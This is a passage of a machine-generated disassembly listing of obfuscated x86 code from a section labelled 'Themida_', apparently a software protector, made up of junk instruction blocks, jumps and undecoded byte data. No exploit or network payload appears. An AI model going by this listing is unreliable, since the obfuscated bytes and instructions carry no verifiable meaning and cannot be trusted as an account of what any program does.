		db 0
; ---------------------------------------------------------------------------


loc_5D5D81:				; CODE XREF: Themida_:005D3114j
		and	ecx, 2C7E1A45h
		xor	ecx, 0FE56EE3h
		jmp	loc_5D7F8C
; ---------------------------------------------------------------------------
		dw 0EF83h
		dd 74FF5702h, 3C8B0424h, 4C48324h, 0E924048Fh, 0C01h, 3A54BB53h
		dd 0E3C16DD5h, 5E3C107h, 0E951D3F7h, 0A67h, 4C581h, 0C5810000h
		dd 4, 31242C33h, 2C33242Ch, 1F79E924h, 0C7810000h, 52443C8h
		dd 0D9E9C35Dh, 5FFFFB7h, 34C808AEh, 0BE56D001h,	34C808AEh
		dd 0E95EF029h, 0FFFFD161h, 83242C8Bh, 0BF5704C4h, 4, 505FFD01h
		dd 16D06852h, 0B5E975BCh
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D5E13:				; CODE XREF: Themida_:005DBF87j
		xor	edi, 60F46F4Eh
		sub	ecx, edi
		pop	edi
		pop	esi
		push	122Dh
		mov	[esp], eax
		push	ecx
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	778Eh
		mov	[esp], eax
		push	ecx
		push	2C731B33h
		pop	ecx
		neg	ecx
		add	ecx, 1
		push	edi
		mov	edi, 0FFFFFFFFh
		sub	ecx, edi
		pop	edi
		add	ecx, 2C731B41h
		push	4EA0h
		mov	[esp], ecx
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_5DA81F
; ---------------------------------------------------------------------------
aYs		db ' Y[\',0
		align 4


loc_5D5E78:				; CODE XREF: Themida_:005D2FCAj
		pop	ecx
		pop	ebx
		jmp	loc_5DB5FF
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 4196658h,	2DE99C24h, 0BDFFFFB7h, 6E2B239Ch
		dd 6CBB68h, 24048900h, 6F86BE56h, 0DEF77303h, 33DAC681h
		dd 0EE817152h, 0EB77639Eh, 0CE9F089h, 88000059h, 319E9F4h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D5EBE:				; CODE XREF: Themida_:005D1F06j
		not	edi
		dec	edi
		jmp	loc_5D5CB9
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9242C89h, 0FFFFCB32h, 34FFEF09h, 0D5E95D24h, 66FFFFC5h
		dd 0D5E99C51h, 8FFFFFB6h, 845C2404h, 0C9E99CC8h, 89FFFFB6h
		dd 0B1E95EF3h, 83000053h, 48F04C4h, 24248B24h, 9C240401h
		dd 0FFB6AFE9h, 597068FFh, 3159E1CAh, 0C53159C8h, 697FE9h
		dd 24348900h, 266DE952h, 0C4810000h, 4,	347468h, 243C8900h
		dd 0A45EEBBFh, 0C6EF8165h, 51650743h, 854577B9h, 59CF313Dh
		dd 42E7F781h, 26E937C2h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D5F53:				; CODE XREF: Themida_:005DC67Bj
		pop	esi
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edi
		sub	esp, 4
		mov	[esp], esi
		push	40B914A9h
		mov	esi, [esp]
		jmp	loc_5DB3BF
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 48B6624h,	8B545324h, 0C483241Ch, 4D6E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D5F96:				; CODE XREF: Themida_:005D33CFj
		add	ebx, edx
		pop	edx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_5D8DCC
; ---------------------------------------------------------------------------
aMrsqsl		db 'RSQl,',0
		db 0
; ---------------------------------------------------------------------------


loc_5D5FAD:				; CODE XREF: Themida_:005D3055j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		shl	esi, 2
		inc	esi
		jmp	loc_5DD7B6
; ---------------------------------------------------------------------------


loc_5D5FC0:				; CODE XREF: Themida_:005D1DC7j
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		shr	eax, 0Ah
		xor	eax, ecx
		push	324Ch
		mov	[esp], eax
		xchg	edx, [esp]
		push	edx
		push	692Bh
		jmp	loc_5DAB78
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8956240Ch, 4C681E6h,	81000000h, 4EEh, 24348700h, 0FD1DE95Ch
		dd 0DBF7FFFFh, 0FFFCD9E9h, 2434FFFFh, 7021E95Fh, 9E2C0000h
		dd 22916859h, 14890000h, 5607E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D6026:				; CODE XREF: Themida_:005DA274j
		xor	ebp, edx
		xor	edx, ebp
		xor	ebp, edx
		jmp	loc_5DB007
; ---------------------------------------------------------------------------
		db 1, 0D6h, 0E9h
		dd 4BC7h, 0E904E1C0h, 0FFFFCF25h, 594C68h, 0EDE8E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D604A:				; CODE XREF: Themida_:005D54DCj
		push	eax
		mov	eax, 3FBE4369h
		add	ebp, eax
		jmp	loc_5DA92B
; ---------------------------------------------------------------------------
		db 50h
		dd 0DCF695B4h, 88ADF480h, 0EEBBE9E3h, 0F681FFFFh, 1E592771h
		dd 9157F681h, 0F789E19Ah, 8BF7315Eh, 0A9E92434h, 81000003h
		dd 446414F5h, 0E9E5D153h, 0FFFFECA0h, 0FBB6E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D6092:				; CODE XREF: Themida_:005D75B1j
		pop	esi
		jmp	loc_5D7AE9
; ---------------------------------------------------------------------------
		dd 8105EFC1h, 0BDB16DC7h, 0D3F2E9FBh, 0F788FFFFh, 0FFD608E9h
		dd 5AD701FFh, 5702EF83h, 42474FFh, 24048F5Fh, 2A30E9h
		dd 4BE00h, 0F7010000h, 7DE9535Eh, 89000032h, 8BE56E3h
		dd 4E49EF56h, 0E904E6C1h, 520Ah, 0EE96E956h, 31ADFFFFh
		dd 372CE9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D60EE:				; CODE XREF: Themida_:005D49E4j
		xchg	edx, [esp]
		pop	esp
		push	esi
		mov	esi, 4AE07D17h
		jmp	loc_5DC0CF
; ---------------------------------------------------------------------------


loc_5D60FD:				; CODE XREF: Themida_:005D3613j
		mov	[esp], ecx
		push	ebx
		mov	bl, 0BBh
		xor	bl, 0A2h
		jmp	loc_5D25EE
; ---------------------------------------------------------------------------
aQsca		db 'QA',0
		dd 0B1516600h, 36A3E925h, 0EA810000h, 41A02B4Dh, 51C281h
		dd 0E98124FEh, 72846BA4h, 3C14C181h, 75E9186Fh,	8900002Dh
		dd 0E0892404h, 405h, 40500h, 0FF500000h, 58042474h, 5C24048Fh
		dd 669FEB80h, 663A3068h, 66240489h, 0E948B252h,	4633h
		dd 671F432Dh, 5E8296Ah,	6A671F43h, 5D0015Dh, 7D843A78h
		dd 74FF505Ah, 48B0424h,	4C48124h, 8F000000h, 665C2404h
		dd 2404AB0Fh, 6B25E99Ch, 0E7C10000h, 7EEF8105h,	812A221Bh
		dd 0A11BEBEAh, 0D3EA815Bh, 12D6C71h, 0D3C281FAh, 812D6C71h
		dd 4ECh, 240C8900h, 0A11BEBB9h,	76B4E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D61C6:				; CODE XREF: Themida_:005DCB0Dj
		sub	edx, ecx
		add	edx, 63F97B30h
		pop	ecx
		mov	eax, edx
		pop	edx
		jmp	loc_5DC998
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0EC80C4FEh, 8BE5088Eh, 0C4832404h, 3EDC004h,	8066B252h
		dd 0D528A8EDh, 0E9A8C580h, 3EBFh, 0C681CE01h, 5E5F7592h
		dd 4C68159h, 33000000h,	34312434h, 24343324h, 242C875Ch
		dd 2404895Ch, 0FFB39FE9h, 4C781FFh, 83000000h, 3C8704C7h
		dd 62E95C24h, 8700005Ch, 7CE92434h, 100005Bh, 0A3ED81D5h
		dd 5A4D1E68h, 32C7E951h, 29660000h, 6604247Ch, 4244481h
		dd 5F66034Ah, 240C8B66h, 3A82E9h, 2EBB5300h, 81242975h
		dd 6D739EEBh, 80EB8131h, 0F7EE80DBh, 0E06EE9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D6276:				; CODE XREF: Themida_:005DC78Dj
		push	275Ah
		mov	[esp], ecx
		mov	ecx, ebx
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5D7FC6
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 24DFh, 54E9DE29h, 88FFFFFCh, 2459E9FDh
		dd 0EFC00000h, 80DFF603h, 0F8287DC7h, 6FCE9h
		db 0
; ---------------------------------------------------------------------------


loc_5D62B5:				; CODE XREF: Themida_:005D7558j
		push	edi
		push	edx
		mov	edx, 74C04257h
		mov	edi, 5F940253h
		xor	edi, edx
		jmp	loc_5D34AD
; ---------------------------------------------------------------------------


loc_5D62C8:				; CODE XREF: Themida_:005D3121j
		push	7391h
		mov	[esp], esi
		jmp	loc_5D7FD5
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 4EC8124h, 89000000h,	0E954242Ch, 3B96h, 0E95BD930h
		dd 1100h, 0E95AD700h, 0F0Fh, 179B951h, 0C1815782h, 0D4C46E6Bh
		dd 2959CA01h, 0E4EA81FAh, 8B2C466Fh, 72E9243Ch,	0B800005Bh
		dd 4, 3BADE9h, 0B296E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D6326:				; CODE XREF: Themida_:005D4C81j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5DD582
; ---------------------------------------------------------------------------


loc_5D6335:				; CODE XREF: Themida_:005DCA78j
		cmp	eax, edx
		jz	loc_5D28F9
		mov	dword ptr [edi+20h], 1D575F53h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 33BC2D98h
		push	2F7Ah
		mov	[esp], edi
		mov	edi, 6B646BC7h
		or	edx, edi
		pop	edi
		sub	edx, 7BFC6FDFh
		sub	edx, [edi+20h]
		jmp	loc_5D2639
; ---------------------------------------------------------------------------


loc_5D636D:				; CODE XREF: Themida_:005D9EF1j
		pop	edx
		jmp	loc_5D9E1C
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8702C183h, 248B240Ch, 0BB0F6624h, 0E99C2404h, 63E7h
		dd 535253ACh, 0DA8850B3h, 9AC2805Bh, 0BAE9DAF6h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D639B:				; CODE XREF: Themida_:005DB4E3j
		push	1B345AE3h
		jmp	loc_5DBDE1
; ---------------------------------------------------------------------------
aRsL		db 'Rl',0
		db 0
; ---------------------------------------------------------------------------


loc_5D63AB:				; CODE XREF: Themida_:005D93C5j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		jmp	loc_5DCE98
; ---------------------------------------------------------------------------


loc_5D63C2:				; CODE XREF: Themida_:005D4E9Fj
		mov	esi, [esp]
		add	esp, 4
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		dw 0E9E9h
		dd 87FFFFB1h, 0F65C2434h, 0B60F66E1h, 4EC83CCh,	83242C89h
		dd 0BCE904ECh, 56000020h, 6855E689h, 162F2E67h,	1F0FE9h
		dd 1A016800h, 34890000h, 0CDDA6824h, 8AE951AAh,	0FF00003Ah
		dd 59042474h, 8B24048Fh, 0E9562424h, 0FFFFBBCFh
; ---------------------------------------------------------------------------


loc_5D641C:				; CODE XREF: Themida_:005D1C56j
		pop	esi
		push	ecx
		mov	ecx, 5FED4CBCh
		jmp	loc_5D95FA
; ---------------------------------------------------------------------------
		dd 104C483h, 0D8F4E9FAh, 0C605FFFFh, 516E3C0Ah,	7943BF57h
		dd 0F9892B5Bh, 4258055Fh, 0CE2D240Ah, 517FD2Ch,	0B1917A9h
		dd 0C0E9C829h, 0ACFFFFEAh, 0FFB98AE9h, 0C8B66FFh, 0DBDDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D6466:				; CODE XREF: Themida_:005D6C6Ej
		pop	ecx
		jmp	loc_5D759E
; ---------------------------------------------------------------------------
		dd 4C381h, 0BE560000h, 2, 2D5CC381h, 0EB811ABCh, 74F163D4h
		dd 0BD55F301h, 74F163D4h, 815DEB01h, 0BC2D5CEBh, 24348B1Ah
		dd 80768h, 56E3E900h, 0BF680000h, 8900003Fh, 2BB241Ch
		dd 81000000h, 0C56C3FC5h, 0E4C58108h, 1474559h,	0E4ED81DDh
		dd 81474559h, 0C56C3FEDh, 241C8B08h, 0E95A5452h, 0FFFFDBCAh
; ---------------------------------------------------------------------------


loc_5D64D4:				; CODE XREF: Themida_:005D965Bj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	1EC6h
		mov	[esp], ecx
		jmp	loc_5D269E
; ---------------------------------------------------------------------------
		dd 0EC81DDF7h, 4, 0BB241C89h, 7E4F6F75h, 1BEAE9h, 241C8B00h
		dd 4C481h, 0C4830000h, 4C38104h, 52000000h, 2BAh, 8BD30100h
		dd 0C1E92414h, 81FFFFEAh, 0A5E7FC3h, 0D2F6803h,	0BAE90000h
		dd 5D000017h, 23F6EA81h, 0EA0127E0h, 23F6C281h,	835D27E0h
		dd 34E904C2h, 89000012h, 4C781E7h, 83000000h, 3C8704EFh
		dd 0F7E95C24h, 29FFFFF1h, 0C0E95FFBh
		db 69h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D6563:				; CODE XREF: Themida_:005D53F1j
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	esi, edi
		xor	edi, esi
		xor	esi, edi
		xchg	eax, esi
		sub	esp, 4
		jmp	loc_5D906E
; ---------------------------------------------------------------------------
aLSwf		db ',$Wf',0
		db 0
; ---------------------------------------------------------------------------


loc_5D658B:				; CODE XREF: Themida_:005D1767j
		pop	ecx
		or	eax, eax
		jnz	loc_5DBF3F
		push	ecx
		mov	ecx, 65262ED8h
		xor	ecx, 67A56834h
		push	ebp
		mov	ebp, 28346EBh
		sub	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		sub	dword ptr [esp], 74A72B37h
		mov	edx, [esp]
		add	esp, 4
		add	edx, 74A72B37h
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5D9F1C
; ---------------------------------------------------------------------------


loc_5D65CD:				; CODE XREF: Themida_:005DA551j
		push	ebx
		pop	esi
		push	1AD7h
		mov	[esp], esi
		pop	ebp
		pop	esi
		push	3670h
		mov	[esp], ebp
		add	dword ptr [esp], 28636F9Ah
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5D9650
; ---------------------------------------------------------------------------
		db 80h,	0C6h, 4Fh
		dd 535AF188h, 0EE9CF88h, 68FFFFE1h, 57ACh, 81242489h, 42404h
		dd 505A0000h, 4055854h,	83000000h, 48704E8h, 3C895C24h
		dd 18CBBF24h, 0D1E948DDh, 5BFFFFCBh, 31243433h,	34332434h
		dd 24248B24h, 68241489h, 5A0Fh,	0E9243C89h, 0FFFFE52Ah
		dd 885BF988h, 0F68059CEh, 5AF0004Ah, 0D828D904h, 48E9D92Ch
		dd 8F000045h, 215C2404h, 0E99C2404h, 0FFFFAF50h, 4063710Dh
		dd 2F5E0D4Eh, 0F52D3FFFh, 31187419h, 0D70158C2h, 0DEE9505Ah
		dd 81FFFFEEh, 618677C5h, 0DF30E983h, 2DBDFFFFh,	8151B80Ch
		dd 0CE6D44EDh, 8FC5817Dh, 0E9A99A9Bh, 0FFFFFABCh, 5966C830h
		dd 0E0C0C0FEh, 3022E902h, 0DA290000h, 3CEA815Bh, 4A339B0Fh
		dd 0F83BF57h, 0F7573607h, 30E92414h, 0E9000052h, 0FFFFAEE8h
		dd 0E9240C89h, 0FFFFF21Ah, 0FFAEDBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D66E1:				; CODE XREF: Themida_:005D45DBj
		push	ecx
		mov	ecx, 0DEB6A76Ah
		jmp	loc_5DADB7
; ---------------------------------------------------------------------------


loc_5D66EC:				; CODE XREF: Themida_:005DAF4Aj
		add	ebp, ecx
		jmp	loc_5D6C73
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 0AB0F6624h, 0E99C2404h, 0FFFFE6B4h
; ---------------------------------------------------------------------------


loc_5D6704:				; CODE XREF: Themida_:005D4761j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_5D3FDA
; ---------------------------------------------------------------------------
		db 5Bh
		dd 335BDD01h, 2C31242Ch, 242C3324h, 0E924248Bh,	137Ah
		dd 0E4E9F1F6h, 1000054h, 63E95FF9h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D6737:				; CODE XREF: Themida_:005DD656j
		push	eax
		pushf
		jmp	loc_5D15BC
; ---------------------------------------------------------------------------


loc_5D673E:				; CODE XREF: Themida_:005DB696j
		add	esi, 1BDF2181h
		jmp	loc_5D4AB7
; ---------------------------------------------------------------------------
		db 28h,	0E6h, 58h
		dd 0FFF175E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D6751:				; CODE XREF: Themida_:005D95B6j
		push	7CF9h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		push	ebx
		mov	ebx, 0DFF3AFFh
		mov	ebp, ebx
		pop	ebx
		mov	ecx, ebp
		mov	ebp, [esp]
		push	ebx
		jmp	loc_5D17B6
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C8B2434h, 0E0895024h, 405h,	40500h,	4870000h, 24248B24h
		dd 8904EC83h, 0E389241Ch, 2898B951h, 0C1815221h, 0A5041F9h
		dd 0C102E9C1h, 0D1F707E9h, 0C74EF181h, 0CB01FFD1h, 2A7BE959h
		dd 4B80000h, 81000000h,	3F092DC5h, 0B944E92Dh, 0EC83FFFFh
		dd 242C8904h, 99BD5557h, 0BF009122h, 0FF6EDD69h, 895DEF01h
		dd 243C8BFDh, 504C483h,	7A185182h, 20E9E829h, 56FFFFBAh
		dd 0C681E689h, 4, 4C681h, 34870000h, 34FF5C24h,	24048B24h
		dd 4C481h, 71E90000h, 0B9FFFFD6h, 63D1384h, 0FFC3F3E9h
		dd 74FF50FFh, 8F580424h, 44E92404h, 81000051h, 42404h
		dd 0EFE90000h, 6600005Ch, 6824048Bh, 4FEFh, 0E9241489h
		dd 0FFFFFDA7h, 47ED815Dh, 8B588843h, 4FE9243Ch
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D6867:				; CODE XREF: Themida_:005DCDB1j
		mov	[esp], edx
		mov	edx, 24h
		add	edx, edi
		push	eax
		jmp	loc_5D9D7E
; ---------------------------------------------------------------------------
		db 83h
		dd 148904ECh, 7AA9BA24h, 0EA8360F1h, 0BD555301h, 62DB56C7h
		dd 565DEB89h, 27C9E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D6895:				; CODE XREF: Themida_:005DCEFFj
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_5DAEDC
; ---------------------------------------------------------------------------


loc_5D68B7:				; CODE XREF: Themida_:005D4FDBj
		pop	ebp
		push	73DEh
		mov	[esp], ebx
		push	301C59A8h
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5D869C
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 4CD51BA8h, 0FFD292E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D68D9:				; CODE XREF: Themida_:005D8F98j
		sub	dl, 0D7h
		pop	ax
		add	al, 1Eh
		sub	al, 0BBh
		sub	al, dl
		jmp	loc_5DBA08
; ---------------------------------------------------------------------------
		db 0ACh, 53h, 0B7h
		dd 5AF780D0h, 46DFE9h
		db 0
; ---------------------------------------------------------------------------


loc_5D68F5:				; CODE XREF: Themida_:005DD30Fj
		add	ecx, edi
		add	ecx, 859363Dh
		push	ebx
		jmp	loc_5D1637
; ---------------------------------------------------------------------------
		db 57h
		dd 0C80544BFh, 89BA522Ch, 0E9628D76h, 1B16h, 4852E959h
		dd 0D1010000h, 5F19E981h, 0E9812731h, 169455AAh, 240C335Ah
		dd 33240C31h, 248B240Ch, 66F9F624h, 68CCB60Fh, 2AC7h, 0E9242C89h
		dd 25DBh, 0F24248Bh, 0A168C8BEh, 0E9000022h, 0FFFFD350h
		dd 97E97BB2h, 83000050h, 0B65204C4h, 0F6C6FE3Ah, 0F6FE86D6h
		dd 30FE30D7h, 51FE30F7h, 0C9FE00B1h, 8003E1C0h,	0C6802CF1h
		dd 0E9CE0045h, 0FFFFD141h, 7B5E21BFh, 0C1D7F728h, 0F78103EFh
		dd 30AF5D04h, 1797F781h, 0FD01D5A0h, 55243C8Bh,	1B36E9h
		dd 24248B00h, 343DE9h, 241C8B00h, 8B3E9h, 5DE93100h, 0FF1C4F09h
		dd 68592434h, 5BEh, 3BB3E9h, 4C48100h, 52000000h, 5B97E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D69DA:				; CODE XREF: Themida_:005D287Aj
		mov	edi, 4
		jmp	loc_5D1DBC
; ---------------------------------------------------------------------------
		dd 0C3E8E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D69EA:				; CODE XREF: Themida_:005D895Dj
		mov	ecx, 77D2BC1h
		push	0C152A81h
		pop	eax
		xor	eax, ecx
		jmp	loc_5D7A4B
; ---------------------------------------------------------------------------


loc_5D69FC:				; CODE XREF: Themida_:005DB828j
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		push	1215737h
		pop	ecx
		dec	ecx
		jmp	loc_5DB33B
; ---------------------------------------------------------------------------


loc_5D6A17:				; CODE XREF: Themida_:005D73B1j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		xor	eax, esi
		jmp	loc_5D1C2A
; ---------------------------------------------------------------------------
		db 83h,	2Ch, 24h
		dd 0E9575DFFh, 0FFFFDAFFh, 0C681CE29h, 2FC120F1h, 592434FFh
		dd 0FFC7EDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D6A61:				; CODE XREF: Themida_:005DC1BDj
		push	949h
		jmp	loc_5D1C68
; ---------------------------------------------------------------------------
		db 29h
		dd 0F7055BDEh, 1082D48h, 0DA73E9F0h, 28B6FFFFh,	0FFFCC8E9h
		dd 0B0EA81FFh, 0F77C8A41h, 3BC281D2h, 1A9C4EEh,	0C3815AD3h
		dd 4, 5C241C87h, 3168C80Fh, 89000044h, 11E92404h
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D6AAB:				; CODE XREF: Themida_:005DB01Ej
		mov	[esp], ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5DBD38
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0FF241C89h, 5B042474h, 8B24048Fh, 8B662424h,	83572404h
		dd 248904ECh, 24F8E924h, 0E9540000h, 833h, 240C8B66h, 1DDEE951h
		dd 348B0000h, 0CD73E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D6B0A:				; CODE XREF: Themida_:005D4EC2j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_5DB93E
; ---------------------------------------------------------------------------
		db 66h,	31h, 0DFh
		dd 0C04E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D6B31:				; CODE XREF: Themida_:005D70DFj
		shl	eax, 7
		dec	eax
		push	eax
		push	ecx
		pop	eax
		jmp	loc_5DD891
; ---------------------------------------------------------------------------


loc_5D6B3D:				; CODE XREF: Themida_:005D9C3Bj
		add	edx, ebx
		jmp	loc_5DD79D
; ---------------------------------------------------------------------------
		dd 1E3768h, 242C8900h, 4BDh, 0C4A0E900h, 0E821FFFFh, 0BE56525Dh
		dd 370F3183h, 815EF289h, 5C40A4CAh, 0DAF7422Dh,	746CCA81h
		dd 0BB532107h, 786E6A0Ah, 0BCF9C381h, 0DA01FF4Dh, 90C2815Bh
		dd 290EBE16h, 0BF575AD0h, 74C37365h, 14EF8147h,	8128756Ch
		dd 7E2BDBCFh, 0E9E94765h, 5C000053h, 4704D828h,	0E9E68956h
		dd 0FFFFC0E1h
; ---------------------------------------------------------------------------


loc_5D6BB0:				; CODE XREF: Themida_:005D780Ej
		push	2486h
		mov	[esp], eax
		jmp	loc_5D2838
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 4Eh
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D6BC3:				; CODE XREF: Themida_:005D81D1j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5DBF3E
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0E4h
		dd 5F4CE829h, 1071E955h, 0D1010000h, 0BE2E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D6BEA:				; CODE XREF: Themida_:005DAE42j
		add	esp, 4
		add	esi, 4
		add	esi, 4
		jmp	loc_5D8AE9
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0EFEA8100h, 0E9009E6Eh, 11EDh,	4C481h,	0C3810000h
		dd 3AE6194Dh, 0EB81C301h, 3AE6194Dh, 7691EB81h,	0E9582554h
		dd 0FFFFC513h, 68E0F681h, 6C816212h, 755A0424h,	7429219Ah
		dd 68520424h, 4Ah, 0B9240C89h, 219A755Ah, 51E9CA89h, 8BFFFFE9h
		dd 24D32424h, 0D3E99C24h, 8B000054h, 5768241Ch,	0E9000066h
		dd 673Dh
; ---------------------------------------------------------------------------


loc_5D6C6C:				; CODE XREF: Themida_:005DCBABj
		mov	ebx, ecx
		jmp	loc_5D6466
; ---------------------------------------------------------------------------


loc_5D6C73:				; CODE XREF: Themida_:005D66EEj
		add	ebp, 18F76286h
		add	ebp, 25111FD9h
		pop	ecx
		pop	ebx
		jmp	loc_5DB0FE
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 40DF32F5h, 0FFAB4AE9h, 97C381FFh, 5175FF5Bh,	0A42EE7B9h
		dd 8BCB313Ch, 0C481240Ch, 4, 8107E3C1h,	0CFB230EBh, 0DB25E98Bh
		dd 0CD01FFFFh, 242C8759h, 0B30F665Ch, 0E99C2404h, 0FFFFA8F4h
		dd 0B0A2B252h, 5AD000FAh, 0C130BCB1h, 63C18058h, 8036B753h
		dd 0EF8082E7h, 8EF78079h, 44F0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D6CE9:				; CODE XREF: Themida_:005D401Fj
		push	5C4D4E65h
		jmp	loc_5DD394
; ---------------------------------------------------------------------------
aUts		db 'UT/',0Ah,0
		align 2
		dw 5456h
		dd 0B088E95Eh, 4B05FFFFh, 291BD268h, 684B2DD0h,	60E91BD2h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D6D13:				; CODE XREF: Themida_:005D3748j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5D93F6
; ---------------------------------------------------------------------------
		dd 0EB81C301h, 442D63F5h, 4EC8158h, 0E9000000h,	18BDh
; ---------------------------------------------------------------------------


loc_5D6D38:				; CODE XREF: Themida_:005DB628j
		push	esp
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5DD49C
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 24248B24h, 0BA241489h, 38A071FFh, 0F705E2C1h, 4E2C1DAh
		dd 0C9F2814Ah, 81405907h, 1B060FF2h, 1489E98Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D6D6A:				; CODE XREF: Themida_:005D7E80j
		pop	esi
		sub	ecx, 25F27DCFh
		not	ecx
		neg	ecx
		shl	ecx, 6
		jmp	loc_5D8F5A
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 33240C31h, 37E9240Ch, 35FFFFCFh, 5C901092h, 34FFC589h
		dd 0C0E95824h, 0FF000040h, 5D042474h, 5C24048Fh, 243CD366h
		dd 40C4E99Ch, 835C0000h, 835304C4h, 248904ECh, 24048124h
		dd 4, 4B9515Bh,	1000000h, 2434FFCBh, 5A545259h,	4C281h
		dd 0C2830000h, 24148704h, 50BE565Ch, 81031F49h,	0B146E5EEh
		dd 0B059E95Ah, 0DA05FFFFh, 8B5B465Dh, 89562414h, 0C4F4E9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D6DFE:				; CODE XREF: Themida_:005D263Fj
		add	eax, edi
		jmp	loc_5D2E6A
; ---------------------------------------------------------------------------
		db 86h,	0F8h, 0E9h
		dd 877h, 0B1B6D9B3h, 805BDE00h,	0EC81EBC6h, 4, 4AD5E9h
		dd 0E1895100h, 4C181h, 0C1810000h, 4, 5C240C87h, 2D02E0C1h
